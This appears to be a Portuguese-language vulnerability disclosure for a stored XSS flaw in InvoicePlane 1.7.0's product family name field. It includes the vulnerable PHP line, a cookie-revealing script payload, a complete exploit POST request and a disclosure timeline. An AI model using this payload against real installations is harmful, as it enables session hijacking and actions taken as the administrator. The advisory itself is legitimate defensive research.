
Prova de conceito de XSS armazenado para InvoicePlane 1.7.0 por meio do campo sobrenome, incluindo payload, requisição e análise de impacto para pesquisa defensiva.
Vulnerabilidade: Cross-Site Scripting (XSS) Armazenado via campo Nome de Família
Produto: InvoicePlane
Versão Afetada: 1.7.0 (e provavelmente versões anteriores)
Severidade: Média
Pontuação CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Neutralização Incorreta de Entrada Durante a Geração de Páginas Web
Descoberto por: Leonidas Agathos
Data do Relatório: 2026-01-31
O campo family_name no formulário de família de produtos (/index.php/families/form) aceita entrada arbitrária sem sanitização. O valor é armazenado no banco de dados e posteriormente renderizado sem codificação no menu suspenso de família da página de criação/edição de produtos, causando execução de JavaScript para qualquer administrador que visite o formulário de produtos.
Arquivo vulnerável: application/modules/products/views/form.php:40
// Linha 40
><?php echo $family->family_name; ?></option>
Passo 1 — Injetar payload no Nome de Família
Navegue até /index.php/families/form e envie o seguinte como Nome de Família:
<script>alert('domain:'+document.domain+'cookies:'+document.cookie)</script>
Requisição:
POST /index.php/families/form HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=0&family_name=%3Cscript%3Ealert%28document.cookies%29%3C%2Fscript%3E

Passo 2 — Acionar o XSS
Navegue até /index.php/products/form. O payload é acionado quando o menu suspenso de família é renderizado.

Qualquer administrador que visite a página de criação ou edição de produtos terá o payload executado em seu navegador. Isso possibilita sequestro de sessão (se os cookies não forem HttpOnly), roubo de tokens CSRF e ações executadas sob a identidade da vítima.
| Data | Evento |
|---|---|
| 2026-01-30 | Vulnerabilidade descoberta |
| 2026-01-31 | Prova de conceito desenvolvida |
| 2026-01-31 | Fornecedor notificado |
| 2026-02-04 | Reconhecimento do fornecedor |
| 2026-02-04 | Correção lançada |
| 2026-02-05 | Divulgação pública |
Esta vulnerabilidade foi descoberta durante pesquisa de segurança independente. Todas as informações são fornecidas estritamente para fins educacionais, de pesquisa e defensivos, para auxiliar o fornecedor e a comunidade de segurança a compreender e corrigir o problema. Qualquer uso malicioso destas informações é estritamente proibido.